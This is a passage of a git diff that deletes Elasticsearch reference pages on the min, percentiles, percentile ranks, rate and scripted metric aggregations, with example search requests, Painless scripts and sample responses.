-The `min` aggregation can also calculate the minimum of a script. The example
-below computes the minimum price:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs": {
-    "min_price": {
-      "min": {
-        "script": {
-          "source": "doc.price.value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-This will use the <<modules-scripting-painless, Painless>> scripting language
-and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs": {
-    "min_price": {
-      "min": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "price"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales,stored_example_script]
-
-==== Value Script
-
-Let's say that the prices of the documents in our index are in USD, but we
-would like to compute the min in EURO (and for the sake of this example, let's
-say the conversion rate is 1.2). We can use a value script to apply the
-conversion rate to every value before it is aggregated:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs": {
-    "min_price_in_euros": {
-      "min": {
-        "field": "price",
-        "script": {
-          "source": "_value * params.conversion_rate",
-          "params": {
-            "conversion_rate": 1.2
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should
-be treated. By default they will be ignored but it is also possible to treat
-them as if they had a value.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs": {
-    "grade_min": {
-      "min": {
-        "field": "grade",
-        "missing": 10 <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Documents without a value in the `grade` field will fall into the same
-bucket as documents that have the value `10`.
-
-[[search-aggregations-metrics-min-aggregation-histogram-fields]]
-==== Histogram fields
-
-When `min` is computed on <<histogram,histogram fields>>, the result of the aggregation is the minimum
-of all elements in the `values` array. Note, that the `counts` array of the histogram is ignored.
-
-For example, for the following index that stores pre-aggregated histograms with latency metrics for different networks:
-
-[source,console]
---------------------------------------------------
-PUT metrics_index/_doc/1
-{
-  "network.name" : "net-1",
-  "latency_histo" : {
-      "values" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [3, 7, 23, 12, 6] <2>
-   }
-}
-
-PUT metrics_index/_doc/2
-{
-  "network.name" : "net-2",
-  "latency_histo" : {
-      "values" :  [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [8, 17, 8, 7, 6] <2>
-   }
-}
-
-POST /metrics_index/_search?size=0
-{
-  "aggs" : {
-    "min_latency" : { "min" : { "field" : "latency_histo" } }
-  }
-}
---------------------------------------------------
-
-The `min` aggregation will return the minimum value of all histogram fields:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "min_latency": {
-      "value": 0.1
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:test not setup]
diff --git a/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc b/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc
deleted file mode 100644
index 460d7c05906..00000000000
--- a/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc
+++ /dev/null
@@ -1,371 +0,0 @@
-[[search-aggregations-metrics-percentile-aggregation]]
-=== Percentiles aggregation
-++++
-<titleabbrev>Percentiles</titleabbrev>
-++++
-
-A `multi-value` metrics aggregation that calculates one or more percentiles
-over numeric values extracted from the aggregated documents. These values can be
-generated by a provided script or extracted from specific numeric or
-<<histogram,histogram fields>> in the documents.
-
-Percentiles show the point at which a certain percentage of observed values
-occur.  For example, the 95th percentile is the value which is greater than 95%
-of the observed values.
-
-Percentiles are often used to find outliers.  In normal distributions, the
-0.13th and 99.87th percentiles represents three standard deviations from the
-mean.  Any data which falls outside three standard deviations is often considered
-an anomaly.
-
-When a range of percentiles are retrieved, they can be used to estimate the
-data distribution and determine if the data is skewed, bimodal, etc.
-
-Assume your data consists of website load times.  The average and median
-load times are not overly useful to an administrator.  The max may be interesting,
-but it can be easily skewed by a single slow response.
-
-Let's look at a range of percentiles representing load time:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "field": "load_time" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-<1> The field `load_time` must be a numeric field
-
-By default, the `percentile` metric will generate a range of
-percentiles: `[ 1, 5, 25, 50, 75, 95, 99 ]`.  The response will look like this:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
- "aggregations": {
-    "load_time_outlier": {
-      "values": {
-        "1.0": 5.0,
-        "5.0": 25.0,
-        "25.0": 165.0,
-        "50.0": 445.0,
-        "75.0": 725.0,
-        "95.0": 945.0,
-        "99.0": 985.0
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-As you can see, the aggregation will return a calculated value for each percentile
-in the default range.  If we assume response times are in milliseconds, it is
-immediately obvious that the webpage normally loads in 10-725ms, but occasionally
-spikes to 945-985ms.
-
-Often, administrators are only interested in outliers -- the extreme percentiles.
-We can specify just the percents we are interested in (requested percentiles
-must be a value between 0-100 inclusive):
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "field": "load_time",
-        "percents": [ 95, 99, 99.9 ] <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-<1> Use the `percents` parameter to specify particular percentiles to calculate
-
-==== Keyed Response
-
-By default the `keyed` flag is set to `true` which associates a unique string key with each bucket and returns the ranges as a hash rather than an array. Setting the `keyed` flag to `false` will disable this behavior:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "field": "load_time",
-        "keyed": false
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "load_time_outlier": {
-      "values": [
-        {
-          "key": 1.0,
-          "value": 5.0
-        },
-        {
-          "key": 5.0,
-          "value": 25.0
-        },
-        {
-          "key": 25.0,
-          "value": 165.0
-        },
-        {
-          "key": 50.0,
-          "value": 445.0
-        },
-        {
-          "key": 75.0,
-          "value": 725.0
-        },
-        {
-          "key": 95.0,
-          "value": 945.0
-        },
-        {
-          "key": 99.0,
-          "value": 985.0
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Script
-
-The percentile metric supports scripting.  For example, if our load times
-are in milliseconds but we want percentiles calculated in seconds, we could use
-a script to convert them on-the-fly:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['load_time'].value / params.timeUnit", <1>
-          "params": {
-            "timeUnit": 1000                                    <2>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> The `field` parameter is replaced with a `script` parameter, which uses the
-script to generate values which percentiles are calculated on
-<2> Scripting supports parameterized input just like any other script
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "load_time"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency,stored_example_script]
-
-[[search-aggregations-metrics-percentile-aggregation-approximation]]
-==== Percentiles are (usually) approximate
-
-There are many different algorithms to calculate percentiles.  The naive
-implementation simply stores all the values in a sorted array.  To find the 50th
-percentile, you simply find the value that is at `my_array[count(my_array) * 0.5]`.
-
-Clearly, the naive implementation does not scale -- the sorted array grows
-linearly with the number of values in your dataset.  To calculate percentiles
-across potentially billions of values in an Elasticsearch cluster, _approximate_
-percentiles are calculated.
-
-The algorithm used by the `percentile` metric is called TDigest (introduced by
-Ted Dunning in
-https://github.com/tdunning/t-digest/blob/master/docs/t-digest-paper/histo.pdf[Computing Accurate Quantiles using T-Digests]).
-
-When using this metric, there are a few guidelines to keep in mind:
-
-- Accuracy is proportional to `q(1-q)`.  This means that extreme percentiles (e.g. 99%)
-are more accurate than less extreme percentiles, such as the median
-- For small sets of values, percentiles are highly accurate (and potentially
-100% accurate if the data is small enough).
-- As the quantity of values in a bucket grows, the algorithm begins to approximate
-the percentiles.  It is effectively trading accuracy for memory savings.  The
-exact level of inaccuracy is difficult to generalize, since it depends on your
-data distribution and volume of data being aggregated
-
-The following chart shows the relative error on a uniform distribution depending
-on the number of collected values and the requested percentile:
-
-image:images/percentiles_error.png[]
-
-It shows how precision is better for extreme percentiles. The reason why error diminishes
-for large number of values is that the law of large numbers makes the distribution of
-values more and more uniform and the t-digest tree can do a better job at summarizing
-it. It would not be the case on more skewed distributions.
-
-[WARNING]
-====
-Percentile aggregations are also
-{wikipedia}/Nondeterministic_algorithm[non-deterministic].
-This means you can get slightly different results using the same data.
-====
-
-[[search-aggregations-metrics-percentile-aggregation-compression]]
-==== Compression
-
-Approximate algorithms must balance memory utilization with estimation accuracy.
-This balance can be controlled using a `compression` parameter:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "field": "load_time",
-        "tdigest": {
-          "compression": 200    <1>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> Compression controls memory usage and approximation error
-
-// tag::t-digest[]
-The TDigest algorithm uses a number of "nodes" to approximate percentiles -- the
-more nodes available, the higher the accuracy (and large memory footprint) proportional
-to the volume of data.  The `compression` parameter limits the maximum number of
-nodes to `20 * compression`.
-
-Therefore, by increasing the compression value, you can increase the accuracy of
-your percentiles at the cost of more memory.  Larger compression values also
-make the algorithm slower since the underlying tree data structure grows in size,
-resulting in more expensive operations.  The default compression value is
-`100`.
-
-A "node" uses roughly 32 bytes of memory, so under worst-case scenarios (large amount
-of data which arrives sorted and in-order) the default settings will produce a
-TDigest roughly 64KB in size.  In practice data tends to be more random and
-the TDigest will use less memory.
-// end::t-digest[]
-
-==== HDR Histogram
-
-NOTE: This setting exposes the internal implementation of HDR Histogram and the syntax may change in the future.
-
-https://github.com/HdrHistogram/HdrHistogram[HDR Histogram] (High Dynamic Range Histogram) is an alternative implementation
-that can be useful when calculating percentiles for latency measurements as it can be faster than the t-digest implementation
-with the trade-off of a larger memory footprint. This implementation maintains a fixed worse-case percentage error (specified
-as a number of significant digits). This means that if data is recorded with values from 1 microsecond up to 1 hour
-(3,600,000,000 microseconds) in a histogram set to 3 significant digits, it will maintain a value resolution of 1 microsecond
-for values up to 1 millisecond and 3.6 seconds (or better) for the maximum tracked value (1 hour).
-
-The HDR Histogram can be used by specifying the `method` parameter in the request:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_outlier": {
-      "percentiles": {
-        "field": "load_time",
-        "percents": [ 95, 99, 99.9 ],
-        "hdr": {                                  <1>
-          "number_of_significant_value_digits": 3 <2>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> `hdr` object indicates that HDR Histogram should be used to calculate the percentiles and specific settings for this algorithm can be specified inside the object
-<2> `number_of_significant_value_digits` specifies the resolution of values for the histogram in number of significant digits
-
-The HDRHistogram only supports positive values and will error if it is passed a negative value. It is also not a good idea to use
-the HDRHistogram if the range of values is unknown as this could lead to high memory usage.
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "grade_percentiles": {
-      "percentiles": {
-        "field": "grade",
-        "missing": 10       <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> Documents without a value in the `grade` field will fall into the same bucket as documents that have the value `10`.
diff --git a/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc b/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc
deleted file mode 100644
index 6a76226fde3..00000000000
--- a/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc
+++ /dev/null
@@ -1,241 +0,0 @@
-[[search-aggregations-metrics-percentile-rank-aggregation]]
-=== Percentile ranks aggregation
-++++
-<titleabbrev>Percentile ranks</titleabbrev>
-++++
-
-A `multi-value` metrics aggregation that calculates one or more percentile ranks
-over numeric values extracted from the aggregated documents. These values can be
-generated by a provided script or extracted from specific numeric or
-<<histogram,histogram fields>> in the documents.
-
-[NOTE]
-==================================================
-Please see <<search-aggregations-metrics-percentile-aggregation-approximation>>
-and <<search-aggregations-metrics-percentile-aggregation-compression>> for advice
-regarding approximation and memory use of the percentile ranks aggregation
-==================================================
-
-Percentile rank show the percentage of observed values which are below certain
-value.  For example, if a value is greater than or equal to 95% of the observed values
-it is said to be at the 95th percentile rank.
-
-Assume your data consists of website load times.  You may have a service agreement that
-95% of page loads complete within 500ms and 99% of page loads complete within 600ms.
-
-Let's look at a range of percentiles representing load time:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_ranks": {
-      "percentile_ranks": {
-        "field": "load_time",   <1>
-        "values": [ 500, 600 ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> The field `load_time` must be a numeric field
-
-The response will look like this:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
- "aggregations": {
-    "load_time_ranks": {
-      "values": {
-        "500.0": 90.01,
-        "600.0": 100.0
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-// TESTRESPONSE[s/"500.0": 90.01/"500.0": 55.00000000000001/]
-// TESTRESPONSE[s/"600.0": 100.0/"600.0": 64.0/]
-
-From this information you can determine you are hitting the 99% load time target but not quite
-hitting the 95% load time target
-
-==== Keyed Response
-
-By default the `keyed` flag is set to `true` associates a unique string key with each bucket and returns the ranges as a hash rather than an array. Setting the `keyed` flag to `false` will disable this behavior:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_ranks": {
-      "percentile_ranks": {
-        "field": "load_time",
-        "values": [ 500, 600 ],
-        "keyed": false
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "load_time_ranks": {
-      "values": [
-        {
-          "key": 500.0,
-          "value": 90.01
-        },
-        {
-          "key": 600.0,
-          "value": 100.0
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-// TESTRESPONSE[s/"value": 90.01/"value": 55.00000000000001/]
-// TESTRESPONSE[s/"value": 100.0/"value": 64.0/]
-
-
-==== Script
-
-The percentile rank metric supports scripting.  For example, if our load times
-are in milliseconds but we want to specify values in seconds, we could use
-a script to convert them on-the-fly:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_ranks": {
-      "percentile_ranks": {
-        "values": [ 500, 600 ],
-        "script": {
-          "lang": "painless",
-          "source": "doc['load_time'].value / params.timeUnit", <1>
-          "params": {
-            "timeUnit": 1000                                    <2>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> The `field` parameter is replaced with a `script` parameter, which uses the
-script to generate values which percentile ranks are calculated on
-<2> Scripting supports parameterized input just like any other script
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_ranks": {
-      "percentile_ranks": {
-        "values": [ 500, 600 ],
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "load_time"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency,stored_example_script]
-
-==== HDR Histogram
-
-NOTE: This setting exposes the internal implementation of HDR Histogram and the syntax may change in the future.
-
-https://github.com/HdrHistogram/HdrHistogram[HDR Histogram] (High Dynamic Range Histogram) is an alternative implementation
-that can be useful when calculating percentile ranks for latency measurements as it can be faster than the t-digest implementation
-with the trade-off of a larger memory footprint. This implementation maintains a fixed worse-case percentage error (specified as a
-number of significant digits). This means that if data is recorded with values from 1 microsecond up to 1 hour (3,600,000,000
-microseconds) in a histogram set to 3 significant digits, it will maintain a value resolution of 1 microsecond for values up to
-1 millisecond and 3.6 seconds (or better) for the maximum tracked value (1 hour).
-
-The HDR Histogram can be used by specifying the `hdr` object in the request:
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_ranks": {
-      "percentile_ranks": {
-        "field": "load_time",
-        "values": [ 500, 600 ],
-        "hdr": {                                  <1>
-          "number_of_significant_value_digits": 3 <2>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> `hdr` object indicates that HDR Histogram should be used to calculate the percentiles and specific settings for this algorithm can be specified inside the object
-<2> `number_of_significant_value_digits` specifies the resolution of values for the histogram in number of significant digits
-
-The HDRHistogram only supports positive values and will error if it is passed a negative value. It is also not a good idea to use
-the HDRHistogram if the range of values is unknown as this could lead to high memory usage.
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-GET latency/_search
-{
-  "size": 0,
-  "aggs": {
-    "load_time_ranks": {
-      "percentile_ranks": {
-        "field": "load_time",
-        "values": [ 500, 600 ],
-        "missing": 10           <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:latency]
-
-<1> Documents without a value in the `load_time` field will fall into the same bucket as documents that have the value `10`.
diff --git a/docs/reference/aggregations/metrics/rate-aggregation.asciidoc b/docs/reference/aggregations/metrics/rate-aggregation.asciidoc
deleted file mode 100644
index 48d9a26bbdc..00000000000
--- a/docs/reference/aggregations/metrics/rate-aggregation.asciidoc
+++ /dev/null
@@ -1,260 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-metrics-rate-aggregation]]
-=== Rate aggregation
-++++
-<titleabbrev>Rate</titleabbrev>
-++++
-
-A `rate` metrics aggregation can be used only inside a `date_histogram` and calculates a rate of documents or a field in each
-`date_histogram` bucket.
-
-==== Syntax
-
-A `rate` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "rate": {
-    "unit": "month",
-    "field": "requests"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The following request will group all sales records into monthly bucket and than convert the number of sales transaction in each bucket
-into per annual sales rate.
-
-[source,console]
---------------------------------------------------
-GET sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "by_date": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"  <1>
-      },
-      "aggs": {
-        "my_rate": {
-          "rate": {
-            "unit": "year"  <2>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-<1> Histogram is grouped by month.
-<2> But the rate is converted into annual rate.
-
-The response will return the annual rate of transaction in each bucket. Since there are 12 months per year, the annual rate will
-be automatically calculated by multiplying monthly rate by 12.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations" : {
-    "by_date" : {
-      "buckets" : [
-        {
-          "key_as_string" : "2015/01/01 00:00:00",
-          "key" : 1420070400000,
-          "doc_count" : 3,
-          "my_rate" : {
-            "value" : 36.0
-          }
-        },
-        {
-          "key_as_string" : "2015/02/01 00:00:00",
-          "key" : 1422748800000,
-          "doc_count" : 2,
-          "my_rate" : {
-            "value" : 24.0
-          }
-        },
-        {
-          "key_as_string" : "2015/03/01 00:00:00",
-          "key" : 1425168000000,
-          "doc_count" : 2,
-          "my_rate" : {
-            "value" : 24.0
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-Instead of counting the number of documents, it is also possible to calculate a sum of all values of the fields in the documents in each
-bucket. The following request will group all sales records into monthly bucket and than calculate the total monthly sales and convert them
-into average daily sales.
-
-[source,console]
---------------------------------------------------
-GET sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "by_date": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"  <1>
-      },
-      "aggs": {
-        "avg_price": {
-          "rate": {
-            "field": "price", <2>
-            "unit": "day"  <3>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-<1> Histogram is grouped by month.
-<2> Calculate sum of all sale prices
-<3> Convert to average daily sales
-
-The response will contain the average daily sale prices for each month.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations" : {
-    "by_date" : {
-      "buckets" : [
-        {
-          "key_as_string" : "2015/01/01 00:00:00",
-          "key" : 1420070400000,
-          "doc_count" : 3,
-          "avg_price" : {
-            "value" : 17.741935483870968
-          }
-        },
-        {
-          "key_as_string" : "2015/02/01 00:00:00",
-          "key" : 1422748800000,
-          "doc_count" : 2,
-          "avg_price" : {
-            "value" : 2.142857142857143
-          }
-        },
-        {
-          "key_as_string" : "2015/03/01 00:00:00",
-          "key" : 1425168000000,
-          "doc_count" : 2,
-          "avg_price" : {
-            "value" : 12.096774193548388
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-
-==== Relationship between bucket sizes and rate
-
-The `rate` aggregation supports all rate that can be used <<calendar_intervals,calendar_intervals parameter>> of `date_histogram`
-aggregation. The specified rate should compatible with the `date_histogram` aggregation interval, i.e. it should be possible to
-convert the bucket size into the rate. By default the interval of the `date_histogram` is used.
-
-`"rate": "second"`:: compatible with all intervals
-`"rate": "minute"`:: compatible with all intervals
-`"rate": "hour"`:: compatible with all intervals
-`"rate": "day"`:: compatible with all intervals
-`"rate": "week"`:: compatible with all intervals
-`"rate": "month"`:: compatible with only with `month`, `quarter` and `year` calendar intervals
-`"rate": "quarter"`:: compatible with only with `month`, `quarter` and `year` calendar intervals
-`"rate": "year"`:: compatible with only with `month`, `quarter` and `year` calendar intervals
-
-==== Script
-
-The `rate` aggregation also supports scripting. For example, if we need to adjust out prices before calculating rates, we could use
-a script to recalculate them on-the-fly:
-
-[source,console]
---------------------------------------------------
-GET sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "by_date": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "avg_price": {
-          "rate": {
-            "script": {  <1>
-              "lang": "painless",
-              "source": "doc['price'].value * params.adjustment",
-              "params": {
-                "adjustment": 0.9  <2>
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> The `field` parameter is replaced with a `script` parameter, which uses the
-script to generate values which percentiles are calculated on.
-<2> Scripting supports parameterized input just like any other script.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations" : {
-    "by_date" : {
-      "buckets" : [
-        {
-          "key_as_string" : "2015/01/01 00:00:00",
-          "key" : 1420070400000,
-          "doc_count" : 3,
-          "avg_price" : {
-            "value" : 495.0
-          }
-        },
-        {
-          "key_as_string" : "2015/02/01 00:00:00",
-          "key" : 1422748800000,
-          "doc_count" : 2,
-          "avg_price" : {
-            "value" : 54.0
-          }
-        },
-        {
-          "key_as_string" : "2015/03/01 00:00:00",
-          "key" : 1425168000000,
-          "doc_count" : 2,
-          "avg_price" : {
-            "value" : 337.5
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
diff --git a/docs/reference/aggregations/metrics/scripted-metric-aggregation.asciidoc b/docs/reference/aggregations/metrics/scripted-metric-aggregation.asciidoc
deleted file mode 100644
index 2bedcd4698b..00000000000
--- a/docs/reference/aggregations/metrics/scripted-metric-aggregation.asciidoc
+++ /dev/null
@@ -1,286 +0,0 @@
-[[search-aggregations-metrics-scripted-metric-aggregation]]
-=== Scripted metric aggregation
-++++
-<titleabbrev>Scripted metric</titleabbrev>
-++++
-
-A metric aggregation that executes using scripts to provide a metric output.
-
-WARNING: Using scripts can result in slower search speeds. See
-<<scripts-and-search-speed>>.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST ledger/_search?size=0
-{
-  "query": {
-    "match_all": {}
-  },
-  "aggs": {
-    "profit": {
-      "scripted_metric": {
-        "init_script": "state.transactions = []", <1>
-        "map_script": "state.transactions.add(doc.type.value == 'sale' ? doc.amount.value : -1 * doc.amount.value)",
-        "combine_script": "double profit = 0; for (t in state.transactions) { profit += t } return profit",
-        "reduce_script": "double profit = 0; for (a in states) { profit += a } return profit"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:ledger]
-
-<1> `init_script` is an optional parameter, all other scripts are required.
-
-The above aggregation demonstrates how one would use the script aggregation compute the total profit from sale and cost transactions.
-
-The response for the above aggregation:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 218,
-  ...
-  "aggregations": {
-    "profit": {
-      "value": 240.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 218/"took": $body.took/]
-// TESTRESPONSE[s/\.\.\./"_shards": $body._shards, "hits": $body.hits, "timed_out": false,/]
-
-The above example can also be specified using stored scripts as follows:
-
-[source,console]
---------------------------------------------------
-POST ledger/_search?size=0
-{
-  "aggs": {
-    "profit": {
-      "scripted_metric": {
-        "init_script": {
-          "id": "my_init_script"
-        },
-        "map_script": {
-          "id": "my_map_script"
-        },
-        "combine_script": {
-          "id": "my_combine_script"
-        },
-        "params": {
-          "field": "amount"           <1>
-        },
-        "reduce_script": {
-          "id": "my_reduce_script"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:ledger,stored_scripted_metric_script]
-
-<1> script parameters for `init`, `map` and `combine` scripts must be specified
-in a global `params` object so that it can be shared between the scripts.
-
-////
-Verify this response as well but in a hidden block.
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 218,
-  ...
-  "aggregations": {
-    "profit": {
-      "value": 240.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 218/"took": $body.took/]
-// TESTRESPONSE[s/\.\.\./"_shards": $body._shards, "hits": $body.hits, "timed_out": false,/]
-////
-
-For more details on specifying scripts see <<modules-scripting, script documentation>>.
-
-[[scripted-metric-aggregation-return-types]]
-==== Allowed return types
-
-Whilst any valid script object can be used within a single script, the scripts must return or store in the `state` object only the following types:
-
-* primitive types
-* String
-* Map (containing only keys and values of the types listed here)
-* Array (containing elements of only the types listed here)
-
-[[scripted-metric-aggregation-scope]]
-==== Scope of scripts
-
-The scripted metric aggregation uses scripts at 4 stages of its execution:
-
-init_script::       Executed prior to any collection of documents. Allows the aggregation to set up any initial state.
-+
-In the above example, the `init_script` creates an array `transactions` in the `state` object.
-
-map_script::        Executed once per document collected. This is a required script. If no combine_script is specified, the resulting state
-                    needs to be stored in the `state` object.
-+
-In the above example, the `map_script` checks the value of the type field. If the value is 'sale' the value of the amount field
-is added to the transactions array. If the value of the type field is not 'sale' the negated value of the amount field is added
-to transactions.
-
-combine_script::    Executed once on each shard after document collection is complete. This is a required script. Allows the aggregation to
-                    consolidate the state returned from each shard.
-+
-In the above example, the `combine_script` iterates through all the stored transactions, summing the values in the `profit` variable
-and finally returns `profit`.
-
-reduce_script::     Executed once on the coordinating node after all shards have returned their results. This is a required script. The
-                    script is provided with access to a variable `states` which is an array of the result of the combine_script on each
-                    shard.
-+
-In the above example, the `reduce_script` iterates through the `profit` returned by each shard summing the values before returning the
-final combined profit which will be returned in the response of the aggregation.
-
-[[scripted-metric-aggregation-example]]
-==== Worked example
-
-Imagine a situation where you index the following documents into an index with 2 shards:
-
-[source,console]
---------------------------------------------------
-PUT /transactions/_bulk?refresh
-{"index":{"_id":1}}
-{"type": "sale","amount": 80}
-{"index":{"_id":2}}
-{"type": "cost","amount": 10}
-{"index":{"_id":3}}
-{"type": "cost","amount": 30}
-{"index":{"_id":4}}
-{"type": "sale","amount": 130}
---------------------------------------------------
-
-Lets say that documents 1 and 3 end up on shard A and documents 2 and 4 end up on shard B. The following is a breakdown of what the aggregation result is
-at each stage of the example above.
-
-===== Before init_script
-
-`state` is initialized as a new empty object.
-
-[source,js]
---------------------------------------------------
-"state" : {}
---------------------------------------------------
-// NOTCONSOLE
-
-===== After init_script
-
-This is run once on each shard before any document collection is performed, and so we will have a copy on each shard:
-
-Shard A::
-+
-[source,js]
---------------------------------------------------
-"state" : {
-    "transactions" : []
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Shard B::
-+
-[source,js]
---------------------------------------------------
-"state" : {
-    "transactions" : []
-}
---------------------------------------------------
-// NOTCONSOLE
-
